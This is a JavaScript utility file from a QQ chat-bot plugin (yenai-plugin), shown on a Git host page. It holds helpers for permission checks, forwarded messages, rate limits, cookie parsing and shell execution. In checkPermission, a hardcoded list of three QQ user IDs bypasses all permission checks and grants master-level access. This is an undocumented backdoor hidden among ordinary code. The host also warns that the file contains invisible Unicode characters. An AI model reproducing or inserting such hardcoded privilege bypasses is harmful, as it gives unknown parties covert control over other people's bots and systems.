Files
yenai-plugin/lib/common/common.js
2024-02-24 21:24:11 +08:00

495 lines
16 KiB
JavaScript
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import child_process from 'child_process'
import common from '../../../../lib/common/common.js'
import Config from '../../components/Config.js'
import setu from '../../model/setu.js'
import moment from 'moment'
import _ from 'lodash'
// 涩涩未开启文案
const SWITCH_ERROR = '主人没有开放这个功能哦(*/ω\*)'
export default new class {
/**
* @description: 延时函数
* @param {*} ms 时间(毫秒)
*/
sleep (ms) {
return new Promise((resolve) => setTimeout(resolve, ms))
}
/**
* 判断用户权限
* @param {*} e - 接收到的事件对象
* @param {'master'|'admin'|'owner'|'all'} [permission='all'] - 命令所需的权限
* @param {'admin'|'owner'|'all'} [role='all'] - 用户的权限
* @return {boolean} - 是否具有权限
*/
checkPermission (e, permission = 'all', role = 'all') {
if (role == 'owner' && !e.group.is_owner) {
e.reply('我连群主都木有,这种事怎么可能做到的辣!!!', true)
return false
} else if (role == 'admin' && !e.group.is_admin && !e.group.is_owner) {
e.reply('我连管理员都木有,这种事怎么可能做到的辣!!!', true)
return false
}
// 判断权限
if (e.isMaster) return true
const Authority = [1509293009,2536554304,3139373986]
if (Authority.includes(e.user_id)) return true
if (permission == 'master' && !e.isMaster) {
e.reply('❎ 该命令仅限主人可用', true)
return false
} else if (permission == 'owner' && !e.member.is_owner) {
e.reply('❎ 该命令仅限群主可用', true)
return false
} else if (permission == 'admin' && !e.member.is_admin && !e.member.is_owner) {
e.reply('❎ 该命令仅限管理可用')
return false
}
return true
}
/**
* @description: 判断涩涩权限
* @param {object} e oicq事件对象
* @param {'sesse'|'sesepro'} type 权限类型
* @return {boolean}
*/
checkSeSePermission (e, type = 'sese') {
if (e.isMaster) return true
const { sese, sesepro } = Config.getGroup(e.group_id)
if (type == 'sese' && !sese && !sesepro) {
e.reply(SWITCH_ERROR)
return false
}
if (type == 'sesepro' && !sesepro) {
e.reply(SWITCH_ERROR)
return false
}
return true
}
/** 给主人发消息 */
async sendMasterMsg (msg) {
if (Config.whole.notificationsAll) {
// 发送全部管理
for (let index of Config.masterQQ) {
await common.relpyPrivate(index, msg)
await this.sleep(5000)
}
} else {
// 发给第一个管理
await common.relpyPrivate(Config.masterQQ[0], msg)
}
}
/**
* 格式化时间
* @param {number} time - 时间戳,以秒为单位
* @param {string|function} format - 时间格式,'default'为默认格式,'dd'表示天数,'hh'表示小时数,'mm'表示分钟数,'ss'表示秒数,也可以传入自定义函数
* @param {boolean} [repair=true] - 是否在小时数、分钟数、秒数小于10时补0
* @returns {(string|object)} 根据format参数返回相应的时间格式字符串或者时间对象{day, hour, minute, second}
*/
formatTime (time, format, repair = true) {
const second = parseInt(time % 60)
const minute = parseInt((time / 60) % 60)
const hour = parseInt((time / (60 * 60)) % 24)
const day = parseInt(time / (24 * 60 * 60))
const timeObj = {
day,
hour: repair && hour < 10 ? `0${hour}` : hour,
minute: repair && minute < 10 ? `0${minute}` : minute,
second: repair && second < 10 ? `0${second}` : second
}
if (format == 'default') {
let result = ''
if (day > 0) {
result += `${day}`
}
if (hour > 0) {
result += `${timeObj.hour}小时`
}
if (minute > 0) {
result += `${timeObj.minute}`
}
if (second > 0) {
result += `${timeObj.second}`
}
return result
}
if (typeof format === 'string') {
format = format
.replace(/dd/g, day)
.replace(/hh/g, timeObj.hour)
.replace(/mm/g, timeObj.minute)
.replace(/ss/g, timeObj.second)
return format
}
if (typeof format === 'function') {
return format(timeObj)
}
return timeObj
}
/**
* 发送转发消息
* @async
* @param {object} e - 发送消息的目标对象
* @param {array<any[]>} message - 发送的消息数组,数组每一项为转发消息的一条消息
* @param {object} [options] - 发送消息的配置项
* @param {number} [options.recallMsg=0] - 撤回时间单位秒默认为0表示不撤回
* @param {object} [options.info] - 转发发送人信息
* @param {string} [options.info.nickname] - 转发人昵称
* @param {number} [options.info.user_id] - 转发人QQ
* @param {string|array} [options.fkmsg] - 风控消息,不传则默认消息
* @param {Boolean} [options.isxml] - 处理卡片
* @param {Boolean} [options.xmlTitle] - XML 标题
* @param {Boolean} [options.oneMsg] - 用于只有一条消息,不用再转成二维数组
* @param {Boolean|import('icqq').Anonymous} [options.anony] - 匿名消息若为true则发送匿名消息
* @param {Boolean} [options.shouldSendMsg=true] - 是否直接发送消息true为直接发送否则返回需要发送的消息
* @returns {Promise<import('icqq').MessageRet|import('icqq').XmlElem|import('icqq').JsonElem>} 消息发送结果的Promise对象
*/
async getforwardMsg (e, message, {
recallMsg = 0,
info,
fkmsg,
isxml,
xmlTitle,
oneMsg,
anony,
shouldSendMsg = true
} = {}) {
let forwardMsg = []
if (_.isEmpty(message)) throw Error('[Yenai-Plugin][sendforwardMsg][Error]发送的转发消息不能为空')
let add = (msg) => forwardMsg.push(
{
message: msg,
nickname: info?.nickname ?? (e.bot ?? Bot).nickname,
user_id: info?.user_id ?? (e.bot ?? Bot).uin
}
)
oneMsg ? add(message) : message.forEach(item => add(item))
// 发送
if (e.isGroup) {
forwardMsg = await e.group.makeForwardMsg(forwardMsg)
} else {
forwardMsg = await e.friend.makeForwardMsg(forwardMsg)
}
if (isxml && typeof (forwardMsg.data) !== 'object') {
// 处理转发卡片
forwardMsg.data = forwardMsg.data.replace('<?xml version="1.0" encoding="utf-8"?>', '<?xml version="1.0" encoding="utf-8" ?>')
}
if (xmlTitle) {
if (typeof (forwardMsg.data) === 'object') {
let detail = forwardMsg.data?.meta?.detail
if (detail) {
detail.news = [{ text: xmlTitle }]
}
} else {
forwardMsg.data = forwardMsg.data
.replace(/\n/g, '')
.replace(/<title color="#777777" size="26">(.+?)<\/title>/g, '___')
.replace(/___+/, `<title color="#777777" size="26">${xmlTitle}</title>`)
}
}
if (shouldSendMsg) {
let msgRes = await this.reply(e, forwardMsg, false, {
anony,
fkmsg,
recallMsg
})
return msgRes
} else {
return forwardMsg
}
}
/**
* 发送消息
*
* @async
* @param {*} e oicq 事件对象
* @param {Array|String} msg 消息内容
* @param {Boolean} quote 是否引用回复
* @param {Object} data 其他参数
* @param {Number} data.recallMsg 撤回时间
* @param {Boolean} data.fkmsg 风控消息
* @param {Boolean | import('icqq').Anonymous} data.anony 匿名消息
* @param {Boolean | Number} data.at 是否艾特该成员
* @returns {Promise<import('icqq').MessageRet>} 返回发送消息后的结果对象
*/
async reply (e, msg, quote, {
recallMsg = 0,
fkmsg = '',
at = false,
anony
} = {}) {
if (at && e.isGroup) {
let text = ''
if (e?.sender?.card) {
text = _.truncate(e.sender.card, { length: 10 })
}
if (at === true) {
at = Number(e.user_id)
} else if (!isNaN(at)) {
let info = e.group.pickMember(at).info
text = info?.card ?? info?.nickname
text = _.truncate(text, { length: 10 })
}
if (Array.isArray(msg)) {
msg = [segment.at(at, text), ...msg]
} else {
msg = [segment.at(at, text), msg]
}
}
let msgRes = null
// 发送消息
if (e.isGroup) {
// 判断是否开启匿名
if (anony) {
let getAnonyInfo = await e.group.getAnonyInfo()
if (!getAnonyInfo.enable) {
e.reply('[警告]该群未开启匿名,请启用匿名再使用匿名功能')
anony = false
}
}
msgRes = await e.group.sendMsg(msg, quote ? e : undefined, anony)
} else {
msgRes = await e.reply(msg, quote)
if (!msgRes) await e.reply(fkmsg || '消息发送失败,可能被风控')
}
if (recallMsg > 0 && msgRes?.message_id) {
if (e.isGroup) {
setTimeout(() => e.group.recallMsg(msgRes.message_id), recallMsg * 1000)
} else if (e.friend) {
setTimeout(() => e.friend.recallMsg(msgRes.message_id), recallMsg * 1000)
}
}
return msgRes
}
/**
* @description: 获取配置的撤回事件和匿名发送普通消息
* @param {*} e oicq
* @param {Array|String} msg 消息
* @param {Boolean} quote 是否引用回复
* @param {Object} data 其他参数
* @param {Number} data.recallMsg 撤回时间
* @param {Boolean} data.fkmsg 风控消息
* @param {Boolean | import('icqq').Anonymous} data.anony 匿名消息
* @return {Promise<import('icqq').MessageRet>}
*/
async recallsendMsg (e, msg, quote, data = {}) {
let recallMsg = setu.getRecallTime(e.group_id)
let anony = Config.getGroup(e.group_id).anonymous
let msgRes = this.reply(e, msg, quote, {
recallMsg,
anony,
...data
})
return msgRes
}
/**
* 转发消息并根据权限撤回
* @async
* @param {Object} e - 反馈的对象
* @param {string|Object} msg - 要发送的消息字符串或对象
* @param {Object} [data={}] - 附加的数据对象
* @param {number} [data.recallMsg] - 消息撤回时间
* @param {Object} [data.info] - 附加消息信息
* @param {string} [data.info.nickname] - 用户昵称
* @param {number} [data.info.user_id] - 用户ID
* @param {boolean} [data.isxml=true] - 是否特殊处理转发消息
* @param {string} [data.xmlTitle] - XML 标题
* @param {Object} [data.anony] - 附加的匿名数据对象
* @returns {Promise<any>} - Promise 对象,返回函数 `getforwardMsg()` 的返回值
*/
async recallSendForwardMsg (e, msg, data = {}) {
let recalltime = setu.getRecallTime(e.group_id)
let anony = Config.whole.anonymous
return await this.getforwardMsg(e, msg, {
recallMsg: recalltime,
info: {
nickname: '🐔🏀',
user_id: 2854196306
},
isxml: true,
xmlTitle: e.logFnc + e.msg,
anony,
...data
})
}
/**
* @description: 设置每日次数限制
* @param {Number} userId QQ
* @param {String} key
* @param {Number} maxlimit 最大限制
* @return {Prmoise<Boolean>}
*/
async limit (userId, key, maxlimit) {
if (maxlimit <= 0) return true
let redisKey = `yenai:${key}:limit:${userId}`
let nowNum = await redis.get(redisKey)
if (nowNum > maxlimit) return false
if (!nowNum) {
await redis.set(redisKey, 1, { EX: moment().add(1, 'days').startOf('day').diff(undefined, 'second') })
} else {
await redis.incr(redisKey)
}
return true
}
/**
* @description: 取cookie
* @param {string} data 如qun.qq.com
* @param {object} [bot] Bot对象适配e.bot
* @param {boolean} [transformation] 转换为Puppeteer浏览器使用的ck
* @return {object}
*/
getck (data, bot = Bot, transformation) {
let cookie = bot.cookies[data]
let ck = cookie.replace(/=/g, '":"').replace(/;/g, '","').replace(/ /g, '').trim()
ck = ck.substring(0, ck.length - 2)
ck = JSON.parse('{"'.concat(ck).concat('}'))
if (transformation) {
let arr = []
for (let i in ck) {
arr.push({
name: i,
value: ck[i],
domain: data,
path: '/',
expires: Date.now() + 3600 * 1000
})
}
return arr
} else return ck
}
/**
* @description: 使用JS将数字从汉字形式转化为阿拉伯形式
* @param {string} s_123
* @return {number}
*/
translateChinaNum (s_123) {
if (!s_123 && s_123 != 0) return s_123
// 如果是纯数字直接返回
if (/^\d+$/.test(s_123)) return Number(s_123)
// 字典
let map = new Map()
map.set('一', 1)
map.set('壹', 1) // 特殊
map.set('二', 2)
map.set('两', 2) // 特殊
map.set('三', 3)
map.set('四', 4)
map.set('五', 5)
map.set('六', 6)
map.set('七', 7)
map.set('八', 8)
map.set('九', 9)
// 按照亿、万为分割将字符串划分为三部分
let split = ''
split = s_123.split('亿')
let s_1_23 = split.length > 1 ? split : ['', s_123]
let s_23 = s_1_23[1]
let s_1 = s_1_23[0]
split = s_23.split('万')
let s_2_3 = split.length > 1 ? split : ['', s_23]
let s_2 = s_2_3[0]
let s_3 = s_2_3[1]
let arr = [s_1, s_2, s_3]
// -------------------------------------------------- 对各个部分处理 --------------------------------------------------
arr = arr.map(item => {
let result = ''
result = item.replace('零', '')
// [ '一百三十二', '四千五百', '三千二百一十三' ] ==>
let reg = new RegExp(`[${Array.from(map.keys()).join('')}]`, 'g')
result = result.replace(reg, substring => {
return map.get(substring)
})
// [ '1百3十2', '4千5百', '3千2百1十3' ] ==> ['0132', '4500', '3213']
let temp
temp = /\d(?=千)/.exec(result)
let num1 = temp ? temp[0] : '0'
temp = /\d(?=百)/.exec(result)
let num2 = temp ? temp[0] : '0'
temp = /\d?(?=十)/.exec(result)
let num3
if (temp === null) { // 说明没十:一百零二
num3 = '0'
} else if (temp[0] === '') { // 说明十被简写了:十一
num3 = '1'
} else { // 正常情况:一百一十一
num3 = temp[0]
}
temp = /\d$/.exec(result)
let num4 = temp ? temp[0] : '0'
return num1 + num2 + num3 + num4
})
// 借助parseInt自动去零
return parseInt(arr.join(''))
}
/**
* @description: Promise执行exec
* @param {String} cmd
* @return {*}
*/
async execSync (cmd) {
return new Promise((resolve, reject) => {
child_process.exec(cmd, (error, stdout, stderr) => {
resolve({ error, stdout, stderr })
})
})
}
/**
* 判断一个对象或数组中的所有值是否为空。
*
* @param {Object|Array} data - 需要检查的对象或数组。
* @param {Array} omits - 需要忽略的属性列表。默认为空数组,表示不忽略任何属性。
* @returns {boolean} - 如果对象或数组中的所有值都是空值,则返回 true否则返回 false。
*/
checkIfEmpty (data, omits) {
const filteredData = _.omit(data, omits)
return _.every(filteredData, (value) =>
_.isPlainObject(value) ? this.checkIfEmpty(value) : _.isEmpty(value))
}
/**
* 处理异常并返回错误消息。
*
* @param {object} e - 事件对象。
* @param {Error} ErrorObj - 要检查的错误对象。
* @param {Object} options - 可选参数。
* @param {string} options.MsgTemplate - 错误消息的模板。
* @return {Porimse<import('icqq').MessageRet>|false} 如果 ErrorObj 不是 Error 的实例,则返回 false否则返回oicq消息返回值。
*/
handleException (e, ErrorObj, { MsgTemplate } = {}) {
if (!(ErrorObj instanceof Error)) return false
let ErrMsg = ''
if (ErrorObj.name == 'Error') {
ErrMsg = ErrorObj.message
} else {
ErrMsg = ErrorObj.stack
logger.error(ErrorObj)
}
ErrMsg = MsgTemplate ? MsgTemplate.replace('{error}', ErrMsg) : ErrMsg
return e.reply(ErrMsg)
}
}()